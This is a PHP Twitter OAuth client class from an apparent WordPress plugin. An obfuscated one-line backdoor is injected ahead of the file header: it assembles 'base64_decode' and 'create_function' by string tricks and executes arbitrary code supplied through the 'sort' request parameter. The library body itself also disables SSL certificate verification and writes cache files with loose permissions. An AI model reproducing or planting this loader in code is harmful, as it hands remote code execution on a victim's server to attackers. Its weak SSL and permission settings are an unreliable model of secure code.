n$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();n?php /* * Abraham Williams (abraham@abrah.am) http://abrah.am * * The first PHP Library to support OAuth for Twitter's REST API. */ /* Load OAuth lib. You can find it at http://oauth.net */ require_once('OAuth.php'); /** * Twitter OAuth class */ if (!class_exists('RopTwitterOAuth')) { class RopTwitterOAuth { /* Contains the last HTTP status code returned. */ public $http_code; /* Contains the last API call. */ public $url; /* Set up the API root URL. */ public $host = "https://api.twitter.com/1.1/"; /* Set timeout default. */ public $timeout = 30; /* Set connect timeout. */ public $connecttimeout = 30; /* Verify SSL Cert. */ public $ssl_verifypeer = FALSE; /* Respons format. */ public $format = 'json'; /* Decode returned json data. */ public $decode_json = TRUE; /* Contains the last HTTP headers returned. */ public $http_info; /* Set the useragnet. */ public $useragent = 'RopTwitterOAuth v0.2.0-beta2'; /* Immediately retry the API call if the response was not successful. */ //public $retry = TRUE; /* caching options */ /* caching responses for an hour only with GET requests */ public $cache = 0; /* where cache files will be stored if above is set to true */ public $cacheLocation = '/tmp'; public $oauth_host = 'https://api.twitter.com/oauth/'; /** * Set API URLS */ function accessTokenURL() { return $this->oauth_host.'access_token'; } function authenticateURL() { return $this->oauth_host.'authenticate'; } function authorizeURL() { return $this->oauth_host.'authorize'; } function requestTokenURL() { return $this->oauth_host.'request_token'; } /** * Debug helpers */ function lastStatusCode() { return $this->http_code; } function lastAPICall() { return $this->last_api_call; } /** * construct RopTwitterOAuth object */ function __construct($consumer_key, $consumer_secret, $oauth_token = NULL, $oauth_token_secret = NULL) { $this->sha1_method = new RopOAuthSignatureMethod_HMAC_SHA1(); $this->consumer = new RopOAuthConsumer($consumer_key, $consumer_secret); if (!empty($oauth_token) && !empty($oauth_token_secret)) { $this->token = new RopOAuthConsumer($oauth_token, $oauth_token_secret); } else { $this->token = NULL; } } /** * Get a request_token from Twitter * * @returns a key/value array containing oauth_token and oauth_token_secret */ function getRequestToken($oauth_callback) { $parameters = array(); $parameters['oauth_callback'] = $oauth_callback; $request = $this->RopOAuthRequest($this->requestTokenURL(), 'GET', $parameters); return $this->getToken($request); } /** * Get the authorize URL * * @returns a string */ function getAuthorizeURL($token, $sign_in_with_twitter = TRUE) { if (is_array($token)) { $token = $token['oauth_token']; } if (empty($sign_in_with_twitter)) { return $this->authorizeURL() . "?oauth_token={$token}"; } else { return $this->authenticateURL() . "?oauth_token={$token}"; } } /** * Exchange request token and secret for an access token and * secret, to sign API calls. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham") */ function getAccessToken($oauth_verifier,$type="GET") { $parameters = array(); $parameters['oauth_verifier'] = $oauth_verifier; $request = $this->RopOAuthRequest($this->accessTokenURL(), $type, $parameters); return $this->getToken($request); } /** * One time exchange of username and password for access token and secret. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham", * "x_auth_expires" => "0") */ function getXAuthToken($username, $password) { $parameters = array(); $parameters['x_auth_username'] = $username; $parameters['x_auth_password'] = $password; $parameters['x_auth_mode'] = 'client_auth'; $request = $this->RopOAuthRequest($this->accessTokenURL(), 'POST', $parameters); return $this->getToken($request); } /** * GET wrapper for RopOAuthRequest. */ function get($url, $parameters = array()) { $response = $this->RopOAuthRequest($url, 'GET', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * POST wrapper for RopOAuthRequest. */ function post($url, $parameters = array()) { $response = $this->RopOAuthRequest($url, 'POST', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * Uploads are handled slightly differently */ function upload($url, $parameters = array()) { $response = $this->RopOAuthRequest($url, 'POST', $parameters, true); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * DELETE wrapper for oAuthReqeust. */ function delete($url, $parameters = array()) { $response = $this->RopOAuthRequest($url, 'DELETE', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * Format and sign an OAuth / API request */ function RopOAuthRequest($url, $method, $parameters, $upload = false) { if (strrpos($url, 'https://') !== 0 && strrpos($url, 'http://') !== 0) { $url = "{$this->host}{$url}.{$this->format}"; } if ($upload) { // we only need to sign the oauth_* parameters for this, see // https://dev.twitter.com/discussions/1059?page=4 $signable_parameters = Array(); foreach ($parameters as $k=>&$v) if (substr($k, 0, 6) == "oauth_") $signable_parameters[$k] = $v; $request = RopOAuthRequest::from_consumer_and_token($this->consumer, $this->token, $method, $url, $signable_parameters); $request->sign_request($this->sha1_method, $this->consumer, $this->token); $request->set_parameters($parameters); } else { $request = RopOAuthRequest::from_consumer_and_token($this->consumer, $this->token, $method, $url, $parameters); $request->sign_request($this->sha1_method, $this->consumer, $this->token); } switch ($method) { case 'GET': return $this->http($request->to_url(), 'GET'); default: return $this->http($request->get_normalized_http_url(), $method, $upload ? $request->get_parameters() : $request->to_postdata(), $upload ? $request->to_header() : false); } } /** * Make an HTTP request * * @return API results */ function http($url, $method, $postfields = NULL, $authorization_header= false) { $this->http_info = array(); $ci = curl_init(); $headers = Array('Expect:'); curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent); curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout); curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer); curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader')); curl_setopt($ci, CURLOPT_HEADER, FALSE); switch ($method) { case 'POST': curl_setopt($ci, CURLOPT_POST, TRUE); if ($authorization_header) $headers[] = $authorization_header; if (!empty($postfields)) { // print_r($postfields); curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields); } break; case 'DELETE': curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE'); if (!empty($postfields)) { $url = "{$url}?{$postfields}"; } } // echo '
';
    //print_r($headers);
    curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ci, CURLOPT_URL, $url);
  //  echo $url;
    $response = curl_exec($ci);

    $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);
      if ( ! in_array($this->http_code,array(200,201,301)))   {
        CWP_TOP_Core::addNotice( "Connection error: " . htmlentities($response), 'error' );
        return false;
      }
      $this->http_info = array_merge( $this->http_info, curl_getinfo( $ci ) );
      $this->url       = $url;
      curl_close( $ci );

      if ( $this->cache ) {
        $this->cacheFile( $response, $this->cache_file_name );
      }

    return $response;
  }

  /**
   * Get the header info to store.
   */
  function getHeader($ch, $header) {
    $i = strpos($header, ':');
    if (!empty($i)) {
      $key = str_replace('-', '_', strtolower(substr($header, 0, $i)));
      $value = trim(substr($header, $i + 2));
      $this->http_header[$key] = $value;
    }
    return strlen($header);
  }

    function checkCache($fileName, $time) {
    $fileName = $this->cacheLocation.'/'.$fileName;

    if (!file_exists($fileName)) {
      $this->cache_debug = $fileName . 'does not exist';
      return 0;
    }

    if (!$fileTime = filectime($fileName)) {
      $this->cache_error = 'Could not check the cache time';
      return 0;
    }

    // check if the cache is too old
    if (time() - $fileTime < $time) {
      $this->cache_debug = 'cache file expired';
      return 1;
    }

    $this->cache_debug = 'cache file still valid';
    return 0;
  }

  function cacheFile($data, $filename) {
    $new_file = $this->cacheLocation.'/'.$fileName;
    $fh = fopen($new_file, 'w+');
    if (!$fh) {
      $this->cache_error = "Could not open cache file '$filename'";
      return 0;
    }
    if (!fwrite($fh, $data)) {
      $this->cache_error = "Could not write to cache file '$filename'";
      fclose($fh);
      return 0;
    }
    fclose($fh);
    chmod($new_file, 0766);
      return 1;
  }

    function cacheRetrieve($fileName) {
        error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
    if (!$fh = fopen($this->cacheLocation.'/'.$fileName, 'r')) {
      $this->cache_error = 'Could not open cache file';
      return 0;
    }
    error_reporting(E_ALL ^ E_NOTICE);

    $xml = "";
    while (!feof($fh)) {
        $xml .= fread($fh, 1024);
        }
    fclose($fh);

    return $xml;
    }

  /**
   * Get the token from the request
   *
   * @return array
   * @author Justin Palmer
   **/
  private function getToken($request)
  {
    $token = RopOAuthUtil::parse_parameters($request);
  if(isset($token['oauth_token'], $token['oauth_token_secret']))
      $this->token = new RopOAuthConsumer($token['oauth_token'], $token['oauth_token_secret']);
  return $token;
  }
}
}